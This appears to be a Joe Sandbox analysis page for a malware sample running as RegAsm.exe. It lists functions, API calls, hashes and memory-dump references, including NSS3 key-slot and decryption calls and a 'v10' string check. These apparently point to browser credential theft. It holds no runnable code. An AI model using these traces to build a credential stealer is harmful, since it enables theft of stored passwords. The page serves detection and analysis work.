Instruction ID: a4e7387e48c2c71d0e19e82ff460fffa0707391e6f0b4b4f43623f0e69075298
Opcode Fuzzy Hash: 42d321782c53f0fa81e9a62699b5af1b66fb3423f592c4a0631ea9e37903c378
Instruction Fuzzy Hash: 62515AB5A04209DFCB08CF54D495AEE7BB5FF58308F10806AE802AB351D774EAD1CB95

Function 00409E60 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 115memoryCOMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 00409E7B
memset.MSVCRT ref: 00409EAE
LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,00F7AA50,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

v10, xrefs: 00409E72
@, xrefs: 00409EB7

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$AllocLocallstrlenmemcmpmemset
String ID: @$v10
API String ID: 1400469952-24753345
Opcode ID: 8900047ccc3a7ea6eca2ef2dfc1eae2581b6e08053fcaf9ffe0f5684236083b7
Instruction ID: 07f8737455eafbd8f61b9e4d9b284130f9ce7af93f488edb76ba3c8551e2a7c8
Opcode Fuzzy Hash: 8900047ccc3a7ea6eca2ef2dfc1eae2581b6e08053fcaf9ffe0f5684236083b7
Instruction Fuzzy Hash: 23414870A0020CEBCB04DFA4CC99BEE77B5BF44304F108029F905AB295DBB8AD45CB99

Function 6C871530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C87152B,?,?,?,?,6C871248,?), ref: 6C87159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C87152B,?,?,?,?,6C871248,?), ref: 6C8715BC
moz_xmalloc.MOZGLUE(-00000001,?,6C87152B,?,?,?,?,6C871248,?), ref: 6C8715E7
free.MOZGLUE(?,?,?,?,?,?,6C87152B,?,?,?,?,6C871248,?), ref: 6C871606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C87152B,?,?,?,?,6C871248,?), ref: 6C871637

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: e42545f771d2ab61060af520675b1cbda38cfd06cd4f038d83257f03176e19ec
Instruction ID: 39660b9c10e654c0556f99e16aa90193bca79369e07d12ccc8d7729c109159da
Opcode Fuzzy Hash: e42545f771d2ab61060af520675b1cbda38cfd06cd4f038d83257f03176e19ec
Instruction Fuzzy Hash: 4E31D871A001148BCB388E7CDAA146E77A9AB853647290F3DE427DBFD4FB30D90587A1

Function 6C97EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C97EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C97EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C97EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C97EEEB
free.MOZGLUE(?), ref: 6C97EEF6

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: cd93867ca83312384f8ff49e8a3c8494da9b7ce1d2c0d9f9e1ed3df999afe5c4
Instruction ID: e219a9ab51f2d68550c304638c3adb836ca35cce2f9e7d8bfc9a59d4b5dc0e0c
Opcode Fuzzy Hash: cd93867ca83312384f8ff49e8a3c8494da9b7ce1d2c0d9f9e1ed3df999afe5c4
Instruction Fuzzy Hash: 393106716013029FE7309F28CC45BA63BB8FF49314F144A28E95A87A50DB31E855C7F1

Function 6C86B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C86B532
moz_xmalloc.MOZGLUE(?), ref: 6C86B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C86B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C86B57E
free.MOZGLUE(00000000), ref: 6C86B58F

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 82dabc4f8f5f2e133a0d613fe5fe82d736b61d4e2ea8396c8c848ae8676ed5cc
Instruction ID: d8ae05ab57d451924c11a703129cebd9ab43b2a525331a791e89d977e8695264
Opcode Fuzzy Hash: 82dabc4f8f5f2e133a0d613fe5fe82d736b61d4e2ea8396c8c848ae8676ed5cc
Instruction Fuzzy Hash: A321F371A002059BDB208F69CD44BBABBB9FF86318F284439F818DB741E776D911D7A0

Function 6C98AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C983FFF,00000000,?,?,?,?,?,6C981A1C,00000000,00000000), ref: 6C98ADA7

Part of subcall function 6C9E14C0: TlsGetValue.KERNEL32 ref: 6C9E14E0
Part of subcall function 6C9E14C0: EnterCriticalSection.KERNEL32 ref: 6C9E14F5
Part of subcall function 6C9E14C0: PR_Unlock.NSS3 ref: 6C9E150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C983FFF,00000000,?,?,?,?,?,6C981A1C,00000000,00000000), ref: 6C98ADB4

Part of subcall function 6C9E10C0: TlsGetValue.KERNEL32(?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E10F3
Part of subcall function 6C9E10C0: EnterCriticalSection.KERNEL32(?,?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E110C
Part of subcall function 6C9E10C0: PL_ArenaAllocate.NSS3(?,?,?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E1141
Part of subcall function 6C9E10C0: PR_Unlock.NSS3(?,?,?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E1182
Part of subcall function 6C9E10C0: TlsGetValue.KERNEL32(?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C983FFF,?,?,?,?,6C983FFF,00000000,?,?,?,?,?,6C981A1C,00000000), ref: 6C98ADD5

Part of subcall function 6C9DFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C9D8D2D,?,00000000,?), ref: 6C9DFB85
Part of subcall function 6C9DFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C9DFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CAA94B0,?,?,?,?,?,?,?,?,6C983FFF,00000000,?), ref: 6C98ADEC

Part of subcall function 6C9DB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CAB18D0,?), ref: 6C9DB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C983FFF), ref: 6C98AE3C

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 4d97cffe21e9bc48f84c9c623298dfda870aee2c6d5b5ced11eedfeada31075e
Instruction ID: a8e73910ae0e19e9e1270ba62537723fd751017f9b244a5d92483ca99fa9cb09
Opcode Fuzzy Hash: 4d97cffe21e9bc48f84c9c623298dfda870aee2c6d5b5ced11eedfeada31075e
Instruction Fuzzy Hash: 4D112662E003055BF7109B659C41BBF73EC9FB564DF048A28EC19D7782FB20E95882E2

Function 6C9A8E80 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C9C2E62,?,?,?,?,?,?,?,00000000,?,?,?,6C994F1C), ref: 6C9A8EA2

Part of subcall function 6C9CF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C9CF854
Part of subcall function 6C9CF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C9CF868
Part of subcall function 6C9CF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C9CF882
Part of subcall function 6C9CF820: free.MOZGLUE(04C483FF,?,?), ref: 6C9CF889
Part of subcall function 6C9CF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C9CF8A4
Part of subcall function 6C9CF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C9CF8AB
Part of subcall function 6C9CF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C9CF8C9
Part of subcall function 6C9CF820: free.MOZGLUE(280F10EC,?,?), ref: 6C9CF8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C9C2E62,?,?,?,?,?,?,?,00000000,?,?,?,6C994F1C), ref: 6C9A8EC3
TlsGetValue.KERNEL32(?,?,?,6C9C2E62,?,?,?,?,?,?,?,00000000,?,?,?,6C994F1C), ref: 6C9A8EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C9C2E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C9A8EF1
PR_Unlock.NSS3 ref: 6C9A8F20

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID:
API String ID: 1978757487-0
Opcode ID: be285b18f89dd7c9c13b4e88c3d2c242fbc5455615c49e71e1e90ef3287b5d80
Instruction ID: 25ccd2ae811024a017e9c7d61a858c3ff6e214ffb385072c6d9be540fef1cb41
Opcode Fuzzy Hash: be285b18f89dd7c9c13b4e88c3d2c242fbc5455615c49e71e1e90ef3287b5d80
Instruction Fuzzy Hash: A621B1709097469FC704AF69D488199BBF8FF08318F41856EEC8887B41D730E855CBC6

Function 6C9D8800 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C9E085A,00000000,?,6C988369,?), ref: 6C9D8821
TlsGetValue.KERNEL32(?,?,6C9E085A,00000000,?,6C988369,?), ref: 6C9D883D
EnterCriticalSection.KERNEL32(?,?,?,6C9E085A,00000000,?,6C988369,?), ref: 6C9D8856
PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C9D8887
PR_Unlock.NSS3(?,?,?,?,6C9E085A,00000000,?,6C988369,?), ref: 6C9D8899

Part of subcall function 6C9707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C90204A), ref: 6C9707AD
Part of subcall function 6C9707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C90204A), ref: 6C9707CD
Part of subcall function 6C9707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C90204A), ref: 6C9707D6
Part of subcall function 6C9707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C90204A), ref: 6C9707E4
Part of subcall function 6C9707A0: TlsSetValue.KERNEL32(00000000,?,6C90204A), ref: 6C970864
Part of subcall function 6C9707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C970880
Part of subcall function 6C9707A0: TlsSetValue.KERNEL32(00000000,?,?,6C90204A), ref: 6C9708CB
Part of subcall function 6C9707A0: TlsGetValue.KERNEL32(?,?,6C90204A), ref: 6C9708D7
Part of subcall function 6C9707A0: TlsGetValue.KERNEL32(?,?,6C90204A), ref: 6C9708FB

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID:
API String ID: 2759447159-0
Opcode ID: b3f3fd7fc972af8ea94fa91a7d4fef07d3ce6d02d19ede084163ed2336e62c82
Instruction ID: fa70b0ca9898af6cbc3cebc9af6f826b10cbed0d15583898f815f4e188b79808
Opcode Fuzzy Hash: b3f3fd7fc972af8ea94fa91a7d4fef07d3ce6d02d19ede084163ed2336e62c82
Instruction Fuzzy Hash: C92171B4904B068FDB04AF78C48416AB7B4FF05308F1196AADDA4A7602EB34E4D5CBD2

Function 004163C0 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(004210DC,?,?,004165B1,00000000,?,00F7AA50,?,004210DC,?,00000000,?), ref: 0041640C
sscanf.NTDLL ref: 00416439
SystemTimeToFileTime.KERNEL32(004210DC,00000000,?,?,?,?,?,?,?,?,?,?,?,00F7AA50,?,004210DC), ref: 00416452
SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,00F7AA50,?,004210DC), ref: 00416460
ExitProcess.KERNEL32 ref: 0041647A

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 71226660715abbaebf248be71a1495cb0fc92045d7147a3f1889571ffea5eb03
Instruction ID: 830abe8b8eab449a7d9cc0da15019f7c77d9f2c5bac1468e5daa421451f66edb
Opcode Fuzzy Hash: 71226660715abbaebf248be71a1495cb0fc92045d7147a3f1889571ffea5eb03
Instruction Fuzzy Hash: EA21E1B5D14208AFCF14EFE4D945ADEB7BABF48304F04852EE50AE3250EB349605CB69

Function 6C9A28A0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C9980DD), ref: 6C9A28BA
EnterCriticalSection.KERNEL32(?,?,?,?,6C9980DD), ref: 6C9A28D3
PR_Unlock.NSS3(?,?,?,?,?,6C9980DD), ref: 6C9A28E8
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6C9980DD), ref: 6C9A290E
free.MOZGLUE(?,?,?,?,?,?,6C9980DD), ref: 6C9A291A

Part of subcall function 6C999270: DeleteCriticalSection.KERNEL32(?,?,6C9A5089,?,6C9A3B70,?,?,?,?,?,6C9A5089,6C99F39B,00000000), ref: 6C99927F
Part of subcall function 6C999270: free.MOZGLUE(?,?,6C9A3B70,?,?,?,?,?,6C9A5089,6C99F39B,00000000), ref: 6C999286
Part of subcall function 6C999270: PL_HashTableDestroy.NSS3(?,6C9A3B70,?,?,?,?,?,6C9A5089,6C99F39B,00000000), ref: 6C999292

Part of subcall function 6C998B50: TlsGetValue.KERNEL32(00000000,?,6C9A0948,00000000), ref: 6C998B6B
Part of subcall function 6C998B50: EnterCriticalSection.KERNEL32(?,?,?,6C9A0948,00000000), ref: 6C998B80
Part of subcall function 6C998B50: PL_FinishArenaPool.NSS3(?,?,?,?,6C9A0948,00000000), ref: 6C998B8F
Part of subcall function 6C998B50: PR_Unlock.NSS3(?,?,?,?,6C9A0948,00000000), ref: 6C998BA1
Part of subcall function 6C998B50: DeleteCriticalSection.KERNEL32(?,?,?,?,6C9A0948,00000000), ref: 6C998BAC
Part of subcall function 6C998B50: free.MOZGLUE(?,?,?,?,?,6C9A0948,00000000), ref: 6C998BB8

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Deletefree$EnterUnlockValue$ArenaDestroyFinishHashPoolTable
String ID:
API String ID: 3225375108-0
Opcode ID: 29b8440b50dd2d8fe1cabc279d85e4150aa5e609a7e6a14f77097eab177a662e
Instruction ID: 7d18328534ec1cd88682ef776e00b76870a70de4d5d6d36aa9a88804b9e828ac
Opcode Fuzzy Hash: 29b8440b50dd2d8fe1cabc279d85e4150aa5e609a7e6a14f77097eab177a662e
Instruction Fuzzy Hash: 87213DB5A04B068FDB00BF78C188469BBF4FF15314F054969DC9897B00EB34E89ACB92

Function 6C998FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C9A0710), ref: 6C998FF1
PR_CallOnce.NSS3(6CAE2158,6C999150,00000000,?,?,?,6C999138,?,6C9A0710), ref: 6C999029
calloc.MOZGLUE(00000001,00000000,?,?,6C9A0710), ref: 6C99904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C9A0710), ref: 6C999066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C9A0710), ref: 6C999078

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 9c51b7b7c96132f4365e7c7c616839d605896e71aaff4d204f0bcca9a9f171db
Instruction ID: 8683b924b7ef8e577621ba56bd9f694f1c2e671714a2966c2f60e3be03108eb7
Opcode Fuzzy Hash: 9c51b7b7c96132f4365e7c7c616839d605896e71aaff4d204f0bcca9a9f171db
Instruction Fuzzy Hash: FA1108217012129FEB201AA9AC04AA637ACEB927ACF5A0131FC5CC6B41F757CD9593F1

Function 6C9ACD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C9C1E10: TlsGetValue.KERNEL32 ref: 6C9C1E36
Part of subcall function 6C9C1E10: EnterCriticalSection.KERNEL32(?,?,?,6C99B1EE,2404110F,?,?), ref: 6C9C1E4B
Part of subcall function 6C9C1E10: PR_Unlock.NSS3 ref: 6C9C1E76

free.MOZGLUE(?,6C9AD079,00000000,00000001), ref: 6C9ACDA5
PK11_FreeSymKey.NSS3(?,6C9AD079,00000000,00000001), ref: 6C9ACDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C9AD079,00000000,00000001), ref: 6C9ACDCF
DeleteCriticalSection.KERNEL32(?,6C9AD079,00000000,00000001), ref: 6C9ACDE2
free.MOZGLUE(?), ref: 6C9ACDE9

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: f2da8c88bfa9afe3f4d2d067259dfc83c5ec8d6ee974c2beee9e6f85a0c4684c
Instruction ID: 523ea4d136e877f58ea6eb5ca26f0ecf215e0fd337e923c8e8af433fb3146e6b
Opcode Fuzzy Hash: f2da8c88bfa9afe3f4d2d067259dfc83c5ec8d6ee974c2beee9e6f85a0c4684c
Instruction Fuzzy Hash: EF1102B2B01216ABDF00AEA4EC44A96B77DFF1425C7104121E9098BE01E732F426C7E2

Function 6CA12CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CA15B40: PR_GetIdentitiesLayer.NSS3 ref: 6CA15B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA12CEC

Part of subcall function 6CA2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA2C2BF

PR_EnterMonitor.NSS3(?), ref: 6CA12D02
PR_EnterMonitor.NSS3(?), ref: 6CA12D1F
PR_ExitMonitor.NSS3(?), ref: 6CA12D42
PR_ExitMonitor.NSS3(?), ref: 6CA12D5B

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
